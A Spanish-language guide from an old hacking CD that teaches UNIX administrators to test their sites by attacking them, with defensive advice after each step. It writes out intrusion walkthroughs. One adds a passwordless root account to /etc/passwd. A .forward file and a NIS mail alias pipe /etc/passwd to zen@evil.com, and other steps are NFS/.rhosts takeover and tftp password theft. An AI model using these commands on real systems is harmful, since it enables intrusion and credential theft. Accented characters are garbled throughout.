home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / documentos / sistema.txt < prev    next >
Text File  |  1999-05-11  |  54KB  |  1,151 lines
  1.  
  2. Introducci≤n
  3.  
  4. Todos los dφas, en todo el mundo, las redes de ordenadores y hosts son 
  5. violados. El nivel de sofisticaci≤n de estos ataques varia ampliamente; 
  6. mientras hay una creencia generalizada  que la mayorφa de estas intrusiones 
  7. tienen Θxito debido a la debilidad de los passwords, hay todavφa un gran 
  8. numero de intrusiones que hacen uso de tΘcnicas mas avanzadas para entrar. 
  9. Poco es sabido acerca de este ultimo tipo de intrusiones , debido 
  10. principalmente a su naturaleza y a su dificultad de ser detectadas.
  11.  
  12.  
  13. ERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
  14. Purdue.  Sun. Cualquier sistema en Internet (y muchos que no lo estßn) son 
  15. susceptibles de ser violados fßcilmente. Son estos objetivos inusuales? Que 
  16. ocurri≤?
  17.  
  18. chaval, con pelo rubio y grasiento, sentado en una habitaci≤n oscura. La 
  19. habitacion esta iluminada solamente por la luz de la pantalla de 40 
  20. caracteres de un C64. Tomando otra larga calada de su Benson & Hedges, su 
  21. cansado sistema cracker ôTelneteaö a otro site ô.milö an≤nimo de su lista 
  22. de vφctimas. No importa. Tiene toda la nocheà.lo tacha de su lista, y 
  23. cansinamente teclea la siguiente vφctima potencialà.
  24.  
  25. Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin 
  26. experiencia, y con un mont≤n de tiempo que perder, tan solo para entrar en 
  27. otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso 
  28. rondando por ahφ. Uno que sabe todo lo ultimo acerca de seguridad de 
  29. sistemas y herramientas cracking, que puede modificarlas para llevar a cabo 
  30. ataques especφficos, y que puede currarse sus propios programas. Uno que no 
  31. solo se dedica a leer sobre los ·ltimos agujeros de seguridad, sino que 
  32. tambien  descubre bugs y puntos dΘbiles. Una ôcriatura mortalö que puede 
  33. tanto golpear ôenvenenadamenteö , como ocultar su rastro sin un solo 
  34. susurro o pista. El uebercracker esta aquφ..
  35.  
  36.  
  37. Por que ôuebercrackerö ? Es una idea robada, obviamente, del uebermensch de 
  38. Nietzsche,o , literalmente traducido al ingles, ôover manö.
  39. Nietzsche uso el termino no para referirse a un super hombre de comic, sino 
  40. a un hombre que va mas alla de la incompetencia, insignificancia, y 
  41. debilidad del hombre tradicional.
  42. Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla 
  43. de los simples metodos de intrusion de los cookbooks. Un uebercracker no se 
  44. motiva normalmente para realizar actos violentos. 
  45.  
  46.  
  47. Las victimas no son arbitrariamente escogidas û hay un proposito, tanto 
  48. como si es por conseguir fines monetarios, un ataque ôgolpea y correö para 
  49. pillar informacion, o un desafio para golpear un prestigioso-gran site o 
  50. red personalmente. Un uebercracker es dificil de detectar, mas aun de 
  51. parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien.
  52.  
  53. Overview
  54.  
  55. En este texto vamos a realizar un acercamiento inusual a los sistemas de 
  56. seguridad.
  57. En vez de decir meramente que algo es un problema, vamos a mirar a traves 
  58. de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que 
  59. incluso los aparentemente inocuos servicios de red pueden convertirse en 
  60. herramientas muy valiosas a la hora de buscar puntos debiles en un sistema, 
  61. incluso cuando estos servicios operan del modo esperado.
  62.  
  63. En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones 
  64. cada vez mas avanzadas, este texto rese±a varios mecanismos usados 
  65. actualmente por los crackers para obtener acceso a los sistemas y, 
  66. adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos 
  67. usado nosotros mismos en tests o ambientes autorizados/amigables.
  68.  
  69. Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que 
  70. los administradores de sistemas no son muy a menudo conscientes del peligro 
  71. existente por cualquier cosa mas alla de los ataques mas triviales. 
  72. Mientras por todos es sabido que el nivel de proteccion apropiado depende 
  73. de que es lo que debe ser protegido, muchos sites parecen estar faltos de 
  74. los recursos para valorar que nivel de proteccion es adecuada.
  75. Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un 
  76. sistema remoto, intentamos ayudar a los administradores de sistemas a tomar 
  77. decisiones sobre como proteger su site û o como no hacerlo. Limitaremos la 
  78. discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells 
  79. en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como 
  80. conseguir privilegios root estan mas alla del ambito de este texto û 
  81. consideramos que son o dependen del site y, en muchos casos, muy triviales 
  82. para merecer discutirse.
  83.  
  84. Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de 
  85. seguridad û siempre habra nuevos para que un ôatacanteö en potencia  los 
  86. explote. El proposito de este texto es el de tratar de que el lector vea su 
  87. sistema de una forma nueva/diferente û una forma que posiblemente le 
  88. permita tener la oportunidad de entender como su propio sistema puede estar 
  89. comprometido, y como.
  90.  
  91. Tambien queremos reiterar que el proposito de este texto es el de ense±ar 
  92. al lector como testear la seguridad de su propio site, y no como irrumpir 
  93. en sistemas ajenos. Las tecnicas de intrusion ilustradas aquφ dejaran muy a 
  94. menudo huellas en los logs de tu sistema û seria constructivo examinarlos 
  95. despues de intentar alguno de estos ataques, para ver como seria un ataque 
  96. verdadero. Ciertamente otros sites y administradores de sistemas 
  97. tomaran/haran una vision fugaz de tus actividades si es que decides usar 
  98. sus hosts para hacer tests de seguridad sin autorizacion avanzada; de 
  99. hecho, es posible que se tomen medidas legales contra tu persona si lo 
  100. perciben como un ataque.
  101.  
  102. Hay cuatro partes principales en este texto. La primera es la intoduccion y 
  103. el overview. La segunda parte es un intento de dar a entender al lector lo 
  104. que es ser un intruso y como de no saber nada de un sistema pasar a 
  105. comprobar su seguridad. Esta seccion revisa las tecnicas actuales de 
  106. obtencion de informacion y acceso, y cubre estrategias basicas tales como 
  107. explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp, 
  108. etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, asi 
  109. como bugs tipicos y problemas de configuracion en cierta forma mas 
  110. especificos de los sitemas operativos o de los sistemas. 
  111. Tambien se cubre lo referente a estragegias defensivas contra cada uno de 
  112. los diferentes ataques.
  113. La tercera seccion trata sobre confianza: como la seguridad de un sistema 
  114. depende de la integridad de otros sistemas. La confianza es el tema mas 
  115. complejo de este texto, y por ser breves limitaremos su discusion a ôlos 
  116. clientes ocultosö (si alguien ha entendido esto ultimo que me lo explique 
  117. :)).
  118.  
  119.  
  120.  
  121.  
  122. La cuarta seccion cubre los pasos basicos a seguir por un administrador de 
  123. sistemas para proteger su sistema. La mayoria de los metodos presentados 
  124. aquφ son meramente de sentido comun, pero son comunmente ignorados en la 
  125. practica û una de nuestras metas es ense±ar lo peligroso que es ignorar 
  126. estos metodos basicos de seguridad.
  127.  
  128.  
  129.  
  130.  
  131. Estudios practicos, indicadores de informacion relacionada con la 
  132. seguridad, y software son descritos en los apendices al final del 
  133. documento.
  134.  
  135.  
  136.  
  137.  
  138. Mientras exploramos los metodos y estrategias que se discuten en este texto 
  139. vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ). 
  140. Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos 
  141. y recoge tanta informacion como sea posible explorando remotamente NIS, 
  142. finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye 
  143. la presencia de varios servicios de informacion de red asi como de defectos 
  144. potenciales de seguridad û normalmente en la forma de errores en el setup o 
  145. en la configuracion de los servicios de red, bugs tipicos en las utilidades 
  146. del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces 
  147. puede bien informar sobre estos datos o usar un sistema experto para 
  148. investigar mas adelante cualquier  problema potencial de seguridad. 
  149. Mientras el SATAN no usa todos los metodos discutdos en este texto, ha 
  150. triunfado con ôamenazadoraö regularidad a la hora de encontrar serios 
  151. agujeros de seguridad en sites de Internet. Sera posteado y estara 
  152. disponible via FTP anonimo cuando este completado; El apendice A cubre 
  153. sus caracteristicas mas destacadas.
  154.  
  155.  
  156.  
  157.  
  158. Observar que no es posible cubrir todos los metodos posibles de irrumpir en 
  159. los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los 
  160. metodos mas efectivos de irrupcion en hosts remotos: social engineering ( 
  161. ingenieria social) y password cracking (crackear passwords). Este ultimo 
  162. metodo es tan efectivo, sin embargo, que varias de las estrategias 
  163. presentadas aquφ estan basadas en la obtencion de archivos de passwords.
  164. Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows, 
  165. etc..) pueden proveer una ôtierra fertilö para la 
  166. irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos 
  167. usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan 
  168. terminales non-bitmapped que les pueden prevenir de usar algunos de los 
  169. metodos de explotacion efectiva mas interesantes para sistemas basados en 
  170. ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima 
  171. es normalmente suficiente para pillar passwords). Finalmente, mientras 
  172. gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no 
  173. son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas 
  174. muy similares a las descritas en este documento como partes individuales de 
  175. su estrategia de ataque.
  176.  
  177. Ganando Informacion
  178.  
  179.  
  180. Asumamos que tu eres el administrador de sistema de ôVictim IncorporatedÆs 
  181. network of Unix workstationsö. En un esfuerzo por proteger tus maquinas, le 
  182. pides a un colega administrador de sistema de un site cercano (evil.com) 
  183. que te de una cuenta en una de sus maquinas para asi poder ver la seguridad 
  184. de tu propio sistema desde el exterior.
  185.  
  186. Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu 
  187. blanco, tu host. Hay un monton de servicios de red en los que mirar: 
  188. finger, showmount y rpcinfo son buenos puntos de partida. 
  189. Pero no te pares ahi û debes tambien utilizar DNS, whois, sendmail (smtp), 
  190. ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos 
  191. metodos y tecnicas que el espacio nos impide ense±aros todos, pero 
  192. trataremos de ense±ar una representativa de las estrategias mas comunes y/o 
  193. peligrosas que hemos visto o que se nos han ocurrido. 
  194.  
  195. Idealmente, podrias recoger dicha informacion sobre todos los hosts en la 
  196. subred o area de ataque û la informacion es poder û pero por ahora 
  197. examinaremos solo nuestra victima/blanco en cuestion.
  198.  
  199. Para comenzar, miraremos lo que el comando finger nos ha reportado.
  200. (imagina que son las 6pm, 6 Noviembre, 1993):
  201.  
  202.  
  203. victim % finger @victim.com
  204.  [victim.com]
  205.  Login       Name             TTY    Idle     When         Where
  206.  zen         Dr.  Fubar        co      1d    Wed 08:00    death.com
  207.  
  208.  
  209.  
  210. Bien! Un solo usuario inactivo û se supone que nadie va a notar si intentas 
  211. irrumpir dentro.
  212.  
  213. Ahora intentas mas tacticas. Como todos los devotos del finger sabran, 
  214. hacer finger ô@ö, ô0ö, y "", asi como a nombre comunes, como root, bin, 
  215. ftp, system, guest, demo, manager, etcà, puede revelar informacion 
  216. interesante. Lo que esa informacion sea depende de la version de finger que 
  217. tu victima este usando, pero la mas importante son nombres de cuentas, 
  218. conjuntamente con sus home directories y el ultimo host desde el que se 
  219. conectaron.
  220.  
  221. Para a±adir a esta informacion, puedes tambien usar rusers (en particular 
  222. con la extension -l ) para pillar informacion valiosa sobre usuarios 
  223. conectados.
  224.  
  225. Usando estos comandos en victim.com nos da la siguiente informacion, 
  226. presentada de forma tabulada comprimida para ahorrar espacio:
  227.  
  228. Login   Home-dir       Shell      Last login, from where
  229. root      /            /bin/sh     Fri Nov 5 07:42 on ttyp1 from big.victim.com
  230. bin       /bin                     Never logged in
  231. nobody      /                        Tue Jun 15 08:57 on ttyp2 from server.victim.co
  232. daemon    /                        Tue Mar 23 12:14 on ttyp0 from big.victim.com
  233. sync      /            /bin/sync   Tue Mar 23 12:14 on ttyp0 from big.victim.com
  234. zen       /home/zen    /bin/bash   On since Wed Nov  6 on ttyp3 from death.com
  235. sam       /home/sam    /bin/csh    Wed Nov  5 05:33 on ttyp3 from evil.com
  236. guest     /export/foo  /bin/sh     Never logged in
  237. ftp       /home/ftp                Never logged in
  238.  
  239. Tanto nuestros experimentos con el SATAN como el ver en funcionamiento 
  240. system crackers nos ha demostrado que el finger es uno de los servicios mas 
  241. peligrosos, por su valor a la hora de investigar una victima potencial. De 
  242. todas formas, mucha de esta informacion  solamente es valiosa usada 
  243. conjuntamente con otros datos.
  244.  
  245. Por ejemplo, ejecutando showmount (informacion sobre el montaje de un 
  246. servidor)en tu victima nos revela lo siguiente:
  247.  
  248. evil % showmount -e victim.com
  249. export list for victim.com:
  250. /export                                    (everyone)
  251. /var                                       (everyone)
  252. /usr                                        easy
  253. /export/exec/kvm/sun4c.sunos.4.1.3          easy
  254. /export/root/easy                           easy
  255. /export/swap/easy                           easy
  256.  
  257.  
  258.  
  259.  
  260. Notar que /export/foo esta ôexportado al mundoö; tambien fijaros que este 
  261. es el home directory del usuario ôguestö. Es hora de tu primera intrusion! 
  262. En este caso, montaras el home directoy del usuario ôguestö. Como no tienes 
  263. la cuenta correspondiente en esa maquina y como root no puede modificar 
  264. archivos en un sistema de archivos NFS, creas una cuenta ôguestö en tu 
  265. archivo de password local. Como usuario ôguestö puedes colocar una ô.rhosts 
  266. entryö en el guest home directory remoto, que te permitira acceder a dicha 
  267. maquina sin tener que dar ningun password.
  268.  
  269. evil # mount victim.com:/export/foo /foo
  270.  evil # cd /foo
  271.  evil # ls -lag
  272.  total 3
  273.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  274.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  275.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  276.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  277.  evil # ls -lag
  278.  total 3
  279.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  280.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  281.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  282.  evil # su guest
  283.  evil % echo evil.com >> guest/.rhosts
  284.  evil % rlogin victim.com
  285.      Welcome to victim.com!
  286.  victim %
  287. Si, en lugar de home directories, victim.com exportara sistemas de archivos 
  288. con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar 
  289. un comando por un caballo de troya que ejecutara cualquier comando de tu 
  290. eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu 
  291. programa
  292.  
  293. Sugerimos que se exporten estos sistemas de archivos:
  294.  
  295.   Lectura/excritura solo a clientes especificos y de confianza
  296.   Solo-lectura, donde sea posible (datos o programas pueden ser exportados 
  297. de esta forma)
  298.  
  299. Si la victima tiene un ô+ö wildcard en su /etc/hosts.equiv  (por defecto en 
  300. varias maquinas) o tiene el netgroups bug , cualquier usuario no root con 
  301. un login en el fichero de passwords de la victima puede hacer un rlogin 
  302. (login remoto) a la victima sin necesidad de password. Y como el usuario 
  303. ôbinö normalmente tiene ficheros llave y directorios, tu siguiente  ataque 
  304. es el de tratar de acceder en el host de la victima y modificar el fichero 
  305. de passwords para permitirte tener acceso ôrootö:
  306.  
  307. evil % whoami
  308.  bin
  309.  evil % rsh victim.com csh -i
  310.  Warning: no access to tty; thus no job control in this shell...
  311.  victim %  ls -ldg /etc
  312.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  313.  victim %  cd /etc
  314.  victim %  mv passwd pw.old
  315.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > 
  316. passwd
  317.  victim % ^D
  318.  evil % rlogin victim.com -l toor
  319.      Welcome to victim.com!
  320.  victim #
  321.  
  322. Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se 
  323. usa para inicialmente entrar en el sistema ya que no deja ningun rastro en 
  324. los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger 
  325. y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los 
  326. prgramas tipo pagers y editores fallaran û pero es de gran utilidad para 
  327. una breve exploracion.
  328.  
  329. La utilidad de seguridad COPS (ver apendice D) informara de archivos o 
  330. directorios que son ôescribiblesö a otras cuentas aparte de la superuser. 
  331. Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de 
  332. los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en 
  333. lo expuesto arriba, aun cuando tenga Θxito, seguira siendo completamente 
  334. innotificable; el tcp wrapper (apendice D), que ôlogeaö conexiones 
  335. entrantes, puede ayudar a desenmascarar dichas actividades.
  336. ---
  337. Y ahora que? Has destapado ya todos los agujeros del sistema-victima? 
  338. Volviendo a los resultados dados por el finger en nuestra victima, te das 
  339. cuenta de que tiene una cuenta ôftpö, que normalmente significa que se 
  340. puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir 
  341. acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima 
  342. debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo 
  343. -ftp/etc en vez de una version reducida. En este ejemplo, sin embargo, 
  344. puedes ver que este ultimo no parece ser el verdadero (como puedes 
  345. afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory 
  346. de ôftpö en victim.com es escribible. Esto te permite ejecutar comandos 
  347. remotamente û en este caso, mandarte el archivo por mail a ti mismo û por 
  348. el simple metodo de crear un archivo .forward que ejecuta un comando cuando 
  349. un mail es mandado a la cuenta ôftpö.
  350.  
  351. evil % cat forward_sucker_file
  352.  "|/bin/mail zen@evil.com < /etc/passwd"
  353.  
  354.  evil % ftp victim.com
  355.  Connected to victim.com
  356.  220 victim FTP server ready.
  357.  Name (victim.com:zen): ftp
  358.  331 Guest login ok, send ident as password.
  359.  Password:
  360.  230 Guest login ok, access restrictions apply.
  361.  ftp> ls -lga
  362.  200 PORT command successful.
  363.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  364.  total 5
  365.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  366.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  367.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  368.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  369.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  370.  226 ASCII Transfer complete.
  371.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  372.  ftp> put forward_sucker_file .forward
  373.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  374.  ftp> quit
  375.  evil % echo test | mail ftp@victim.com
  376. Ahora simplemente tienes que esperar a que el fichero de passwords te sea 
  377. enviado.
  378.  
  379. La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo; 
  380. mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el 
  381. CERT advisory 93:10 para recoger informacion acerca de como establecer 
  382. (setup, por si hay dudas) ftp anonimo correctamente.
  383. Vulnerabilidades en el ftp son normalmente cusetion de una posesion 
  384. incorrecta o de los permisos de archivos y directorios. Al menos, estate 
  385. seguro de que -ftp y todos los directorios y ficheros ôsystemö por debajo 
  386. de -ftp son de root y que no tienen privilegios de escritura para ningun 
  387. usuario.
  388.  
  389. Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente 
  390. explotado:
  391.  
  392. % ftp -n
  393.  ftp> open victim.com
  394.  Connected to victim.com
  395.  220 victim.com FTP server ready.
  396.  ftp> quote user ftp
  397.  331 Guest login ok, send ident as password.
  398.  ftp> quote cwd ~root
  399.  530 Please login with USER and PASS.
  400.  ftp> quote pass ftp
  401.  230 Guest login ok, access restrictions apply.
  402.  ftp> ls -al / (o lo que sea)
  403.  
  404. Si esto funciona, estaras dentro como root, y con capacidad para modificar 
  405. el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes 
  406. que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp 
  407. anonimo en ftp.uu.net.
  408.  
  409. El wuarchive ftpd, un conocido ôrecambioö del ftp daemon dado por la 
  410. Washington University in Saint Louis, tenia casi el mismo problema. Si tu 
  411. wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una 
  412. version mas reciente.
  413.  
  414. hay un programa similar a ftp û tftp, o trivial file transfer 
  415. program. Este daemon no necesita de ningun password para autentificacion; 
  416. si un host provee de tftp sin restringir el acceso (normalmente mediante 
  417. algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer 
  418. y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas 
  419. el fichero passwd y se pone en tu directorio /tmp local:
  420.  
  421. evil % tftp
  422.  tftp> connect victim.com
  423.  tftp> get /etc/passwd /tmp/passwd.victim
  424.  tftp> quit
  425.  
  426. Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es 
  427. necesario, utiliza la opcion/flag segura para restringir el acceso a un 
  428. directorio que contenga informacion sin valor, o ejecutalo bajo el control 
  429. de un programa chroot wrapper.
  430. -----
  431. Si ninguno de los metodos anteriores ha funcionado, es hora de tomar 
  432. medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran 
  433. utilidad, muchas veces incluso mas practico que el finger. Muchos hosts 
  434. tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el 
  435. portmapper y ense±arte el camino. Puede decirte si el host esta usando NIS, 
  436. si es un servidor o esclavo NIS, si hay una estacion de trabajo sin 
  437. disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info 
  438. (rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados 
  439. con logs y seguridad). Por ejemplo, volviendo a nuestra victima:
  440.  
  441. evil % rpcinfo -p victim.com    
  442.     program vers proto   port
  443.      100004    2   tcp    673  ypserv
  444.      100005    1   udp    721  mountd
  445.      100003    2   udp   2049  nfs
  446.      100026    1   udp    733  bootparam
  447.      100017    1   tcp   1274  rexd
  448.  
  449.  
  450. En este caso, puedes ver varios datos significativos sobre nuestra victima;
  451. el primero de los cuales es que es un servidor NIS. Puede que no sea muy 
  452. sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor, 
  453. puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso 
  454. cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el 
  455. programa YPX que se puede encontrar en los archivos comp.sources.misc en 
  456. ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables 
  457. passwords, muchos sistemas usan nombres de dominio NIS facilmente 
  458. adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente 
  459. provechoso/fructifero. Los mayores candidatos son los nombres del host en 
  460. forma parcial y total (e.g. ôvictimö and ôvictim.comö, el nombre de la 
  461. organizaci≤n, nombres del grupo dados por el comando ôshowmountö, y demas. 
  462. Si quisieras probar si el nombre de dominio fuera ôvictimö, teclearias:
  463.  
  464.  
  465.  
  466.  
  467. evil % ypwhich -d victim victim.com
  468.  Domain victim not bound.
  469.  
  470.  
  471.  
  472.  
  473. Como se ve este fue un intento sin Θxito; si huiera sido correcto ôvictimö, 
  474. nos habria dado un mensaje con el nombre de host del servidor NIS. De todas 
  475. formas, fijaros de la seccion NFS que victim.com esta exportando el 
  476. directorio ô/varö al mundo. Todo lo que se necesita es montar dicho 
  477. directorio y mirar en el subdirectorio ôypö û entre otras cosas veras otro 
  478. subdirectorio que contiene el nombre de dominio de la victima.
  479.  
  480. evil # mount victim.com:/var /foo
  481.  evil # cd /foo
  482.  evil # /bin/ls -alg /foo/yp
  483.  total 17
  484.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  485.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  486.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  487.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  488.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  489.     [...]
  490.  
  491. En este caso ôfoo_barö es el nombre de dominio del NIS.
  492.  
  493. Adicionalmente, los mapas NIS contienen normalmente una buena lista de 
  494. nombres de usuarios/empleados asi como listas de hosts internos, por no 
  495. mencionar passwords para crackear.
  496. El apendice C detalla los resultados de un caso practico sobre archivos de 
  497. passwords NIS.
  498. -----
  499. Puedes observar que la respuesta dada por el comando rpcinfo mostraba que 
  500. victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo 
  501. ôpor favor ejecuta este comando como ese usuario (como siendo ese 
  502. usuario)ö. A diferencia de rshd, rexd no tiene en cuenta si el host cliente 
  503. esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa 
  504. rexd cliente es el comando ôonö, pero tan solo es necesario un peque±o 
  505. programa en C para mandar informacion arbitraria sobre el host y userid 
  506. cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas 
  507. razones, ejecutar rexd es similar a no tener passwords: toda la seguridad 
  508. esta en el cliente, no en el servidor que es donde deberia. La seguridad 
  509. del rexd puede ser mejorada de alguna manera usando un RPC seguro.
  510. -----
  511. bservando de nuevo la respuesta de rpcinfo, puedes observar que victim.com 
  512. parece ser un server para estaciones de trabajo sin disqueteras. Esto se 
  513. evidencia debido a la presencia del servicio bootparam, que provee 
  514. informacion a los clientes sin disquetera para el arranque. Si lo preguntas 
  515. correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un 
  516. cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran 
  517. utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS 
  518. arbitrarios (como el fichero password) cuando sabes el nombre de dominio. 
  519. Aquφ va un ejemplo de codigo para hacer justo eso:
  520.  
  521.  
  522.  
  523.  
  524. char   *server;
  525. struct bp_whoami_arg arg;           /* query */
  526. struct bp_whoami_res res;           /* reply */
  527.  
  528.  
  529.  
  530.  
  531.  
  532. /* initializations omitted... */
  533.  
  534.  
  535.  
  536.  
  537.  
  538. callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  539.         xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  540.  
  541.  
  542.  
  543.  
  544. printf("%s has nisdomain %s\n", server, res.domain_name);
  545.  
  546.  
  547.  
  548.  
  549. El resultado del comando showmount indicaba que ôeasyö es un cliente sin 
  550. disquetera de victim.com, asi que usamos su direccion de cliente en el 
  551. query BOOTPARAMPROC_WHOAMI:
  552.  
  553.  
  554.  
  555.  
  556. evil % bootparam victim.com easy.victim.com
  557. victim.com has nisdomain foo_bar
  558.  
  559.  
  560.  
  561.  
  562. -----
  563.  
  564.  
  565.  
  566.  
  567. Los NIS masters controlan los alias del mail para el dominio NIS en 
  568. cuestion. Como en los ficheros de alias de mail locales, puedes crear un 
  569. mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo 
  570. popular de esto es el alias ôdecodeö que ôuudecodeaö archivos mail que le 
  571. son mandados). Por ejemplo, aquφ creas un alias ôfooö, que mailea el 
  572. fichero password de vuelta a evil.com simplemente maileandole cualquier 
  573. mensaje:
  574.  
  575.  
  576.  
  577.  
  578. nis-master # echo 'foo: "|mail zen@evil.com< /etc/passwd "' >> /etc/aliases
  579. nis-master # cd /var/yp
  580. nis-master # make aliases
  581. nis-master # echo test | mail -v foo@victim.com
  582.  
  583.  
  584.  
  585.  
  586. Por suerte los atacantes no tendran control de tu NIS master host, pero mas 
  587. aun laa leccion esta clara û NIS normalmente no es seguro, pero si un 
  588. atacante se hace con el control de tu NIS master, efectivamente tendra de 
  589. los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).
  590.  
  591.  
  592.  
  593.  
  594. No hay demasiadas defensas contra estos ataques; es un servicio inseguro 
  595. que casi no tiene autentificacion entre clientes y servers. Para mas INRI, 
  596. parece claro que se pueden forzar mapas aleatorios incluso en servidores 
  597. maestros (ej, es posible tratar a un servidor NIS como si fuera un 
  598. cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es 
  599. absolutamente necesario usar NIS, el usar un nombre de dominio dificil de 
  600. adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera 
  601. que estan expuestos a atacantes en potencia, entonces es insignifante para 
  602. este atacante el sobrepasar este simple paso haciendo uso del truco del 
  603. bootparam para conseguir el nombre de dominio. Si el NIS es usado para 
  604. propagar los mapas de passwords, entonces los shadowed passwords no ofrecen 
  605. ningun tipo de proteccion adicional ya que el mapa shadow seria aun 
  606. accesible para cualquier atacante que fuera root en un host de ataque.
  607. Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que 
  608. los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.
  609.  
  610.  
  611.  
  612.  
  613. El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero 
  614. tiene sus propios problemas, principalmente en que es dificil de 
  615. administrar, pero tambien en que los metodos de criptologia usados no son 
  616. muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de 
  617. red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha 
  618. limitado a correr bajo Suns. 
  619. Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111 
  620. o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de 
  621. Sun, puede tambien ayudar.
  622.  
  623.  
  624.  
  625.  
  626. -----
  627.  
  628.  
  629.  
  630.  
  631. El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros 
  632. servicios de red pueden ser localizados con el metodo de fuerza bruta que 
  633. conecta a todos los puertos de la red. Muchas utilidades de red y sistemas 
  634. basados en ventanas ôescuchanö en puertos especificos (ej, sendmail esta en 
  635. el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc).
  636. SATAN incluye un programa que escanea los puertos de un host remoto e 
  637. informa lo que ha encontrado; si lo ejecutaras contra nuestra victima 
  638. verias lo siguiente:
  639.  
  640.  
  641.  
  642.  
